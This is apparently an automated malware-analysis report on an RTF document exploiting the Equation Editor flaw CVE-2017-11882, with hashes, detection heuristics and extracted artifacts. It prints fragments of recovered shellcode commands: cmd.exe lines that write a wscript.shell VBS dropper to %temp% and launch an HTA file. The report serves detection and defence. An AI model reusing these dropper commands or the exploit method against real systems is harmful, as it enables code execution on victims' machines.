RTF malware analysis — malicious · 19110b376185d5cf

MALICIOUS

RTF

21.3 KB Authoring application: Riched20 6.3.9600 First seen: 2018-11-20

MD5: a7e91135bc00686a538e1a5d528fdd88 SHA-1: dd003bca7cbb3a7b3300f5b01a532b50273d891c SHA-256: 19110b376185d5cfdec1b6e6e92bee371b62dcdbc0511fc57ead46be93da370b

362 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded Equation Editor object that exploits CVE-2017-11882. This vulnerability allows for arbitrary code execution when the object is activated. The presence of shellcode command strings in extracted artifacts further supports this exploit vector. The file is classified as malicious due to this exploit.

Heuristics 10

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 3 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM

RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe In RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000011d.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x11D	2341 bytes
SHA-256: `00c1bc67dd62ee6d70a5cb8fae5b72c77b07695f3ae9c513b71ad97eeee40d7f`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe", "/c CD %temp% & @echo set H2hA8cL7vV6cF1uZ5hR8wN6sP3aV6cG1c = createobject(""wscript.shell"") >ZMXZAA.vBS & @echo Dim X3eH5tN6kV3tX2yS6cM8qZ5iV1oB0aR0nN5pF1k
`objdata_01_off00001414.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1414	3980 bytes
SHA-256: `b442ddfaa6739d25c2ca078f412dc8cfc7ef9c1475dd97af98508733ba5efc00`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\File.hta &��D$,f-Q��%
`objdata_02_off000036c0.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x36C0	3546 bytes
SHA-256: `df48c45dff4f883afa0495c1b0ea64f7bed5b76d2730b5b53082d55714893c80`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): cmd.exe /c%tmp%\File.hta AC

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